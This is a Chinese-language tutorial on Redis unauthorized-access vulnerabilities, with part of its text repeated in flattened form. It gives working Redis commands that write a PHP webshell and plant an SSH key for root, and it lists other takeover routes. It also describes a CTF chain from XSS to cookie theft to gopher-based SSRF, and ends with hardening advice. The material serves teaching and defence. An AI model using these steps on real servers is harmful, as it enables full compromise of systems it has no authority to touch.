初识Redis未授权访问
字数 1168 2025-08-27 12:33:48

Redis未授权访问漏洞分析与利用

1. Redis简介

Redis是一个开源的、基于内存的键值存储系统,使用ANSI C语言编写,支持多种数据结构:

  • 字符串(String)
  • 哈希(Map)
  • 列表(list)
  • 集合(sets)
  • 有序集合(sorted sets)

默认端口:6379

2. Redis安装与基本操作

Windows安装

  1. 下载地址: https://github.com/MSOpenTech/redis/releases
  2. 启动命令: redis-server.exe redis.conf
  3. 验证端口: 检查6379端口是否开放

Ubuntu安装

sudo apt-get update
sudo apt-get install redis-server

基本命令

  • 连接Redis: redis-cli.exe -h <目标IP>
  • 查看键值: get <key>
  • 查看所有键: keys *
  • 删除所有键: flushall

3. Redis未授权访问漏洞

漏洞原理

Redis默认配置不开启认证,导致攻击者可以直接连接Redis服务并执行命令。

漏洞检测

  1. 使用telnet或redis-cli连接目标Redis服务
  2. 执行info命令获取Redis信息

4. 漏洞利用方式

4.1 写入Webshell

set x "<?php phpinfo(); ?>"
config set dbfilename test.php
config set dir /var/www/html
save

4.2 写入SSH公钥

  1. 本地生成SSH密钥对: ssh-keygen -t rsa
  2. 将公钥写入目标Redis:
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n<你的公钥内容>\n\n"
save
  1. 使用SSH连接: ssh -i id_rsa root@目标IP

4.3 其他利用方式

  • 写入crontab定时任务
  • 主从复制RCE
  • Lua沙盒逃逸

5. CTF中的Redis利用案例

5.1 XSS -> SSRF -> Redis攻击链

  1. 通过XSS获取管理员Cookie
  2. 利用Cookie伪造管理员身份
  3. 发现SSRF漏洞点
  4. 通过SSRF访问内网Redis服务

5.2 Gopher协议利用Redis

xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
xmlhttp.send("url=gopher://127.0.0.1:25566/_keys%20*");
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%20flag");

5.3 处理Redis返回的列表数据

TYPE flag  # 查看数据类型
LLEN flag  # 查看列表长度
LRANGE flag 0 53  # 获取所有元素

6. 防御措施

  1. 设置Redis密码认证: 在redis.conf中添加requirepass <强密码>
  2. 修改默认端口: 修改redis.conf中的port配置
  3. 限制绑定IP: 设置bind 127.0.0.1
  4. 禁用高危命令: 在redis.conf中添加:
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
  5. 设置防火墙规则,限制访问来源
  6. 使用低权限用户运行Redis服务

7. 参考资源

  • https://www.kingkk.com/2018/08/redis未授权访问与ssrf利用/
  • Redis官方文档
  • Gopher协议RFC文档

8. 总结

Redis未授权访问是一个严重的安全问题,可能导致服务器被完全控制。通过本文介绍的方法,安全人员可以检测和利用该漏洞,同时也提供了有效的防御措施。在实际渗透测试中,Redis漏洞常与其他漏洞(如SSRF)结合形成攻击链,因此需要全面考虑系统安全。

Redis未授权访问漏洞分析与利用 1. Redis简介 Redis是一个开源的、基于内存的键值存储系统,使用ANSI C语言编写,支持多种数据结构: 字符串(String) 哈希(Map) 列表(list) 集合(sets) 有序集合(sorted sets) 默认端口:6379 2. Redis安装与基本操作 Windows安装 下载地址: https://github.com/MSOpenTech/redis/releases 启动命令: redis-server.exe redis.conf 验证端口: 检查6379端口是否开放 Ubuntu安装 基本命令 连接Redis: redis-cli.exe -h <目标IP> 查看键值: get <key> 查看所有键: keys * 删除所有键: flushall 3. Redis未授权访问漏洞 漏洞原理 Redis默认配置不开启认证,导致攻击者可以直接连接Redis服务并执行命令。 漏洞检测 使用telnet或redis-cli连接目标Redis服务 执行 info 命令获取Redis信息 4. 漏洞利用方式 4.1 写入Webshell 4.2 写入SSH公钥 本地生成SSH密钥对: ssh-keygen -t rsa 将公钥写入目标Redis: 使用SSH连接: ssh -i id_rsa root@目标IP 4.3 其他利用方式 写入crontab定时任务 主从复制RCE Lua沙盒逃逸 5. CTF中的Redis利用案例 5.1 XSS -> SSRF -> Redis攻击链 通过XSS获取管理员Cookie 利用Cookie伪造管理员身份 发现SSRF漏洞点 通过SSRF访问内网Redis服务 5.2 Gopher协议利用Redis 5.3 处理Redis返回的列表数据 6. 防御措施 设置Redis密码认证: 在redis.conf中添加 requirepass <强密码> 修改默认端口: 修改redis.conf中的 port 配置 限制绑定IP: 设置 bind 127.0.0.1 禁用高危命令: 在redis.conf中添加: 设置防火墙规则,限制访问来源 使用低权限用户运行Redis服务 7. 参考资源 https://www.kingkk.com/2018/08/redis未授权访问与ssrf利用/ Redis官方文档 Gopher协议RFC文档 8. 总结 Redis未授权访问是一个严重的安全问题,可能导致服务器被完全控制。通过本文介绍的方法,安全人员可以检测和利用该漏洞,同时也提供了有效的防御措施。在实际渗透测试中,Redis漏洞常与其他漏洞(如SSRF)结合形成攻击链,因此需要全面考虑系统安全。